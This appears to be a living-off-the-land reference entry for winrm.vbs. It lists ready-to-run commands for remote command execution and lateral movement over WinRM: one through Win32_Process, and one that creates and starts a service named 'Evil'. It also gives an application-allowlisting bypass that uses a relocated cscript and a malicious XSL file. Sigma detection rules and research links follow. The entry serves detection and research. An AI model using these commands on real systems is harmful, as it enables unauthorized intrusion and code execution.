winrm.vbs

Script used for manage Windows RM settings

Paths

• C:\Windows\System32\winrm.vbs
• C:\Windows\SysWOW64\winrm.vbs

Commands

Execute

Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

Use case: Proxy execution

Privileges: User

winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985

Execute

Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

Use case: Proxy execution

Privileges: Admin

winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985

AWL Bypass

Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.

Use case: Execute arbitrary, unsigned code via XSL script

Privileges: User

%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

Detection

• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml
• BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Resources

• https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
• https://www.youtube.com/watch?v=3gz1QmiMhss
• https://github.com/enigma0x3/windows-operating-system-archaeology
• https://redcanary.com/blog/lateral-movement-winrm-wmi/
• https://twitter.com/bohops/status/994405551751815170
• https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
• https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf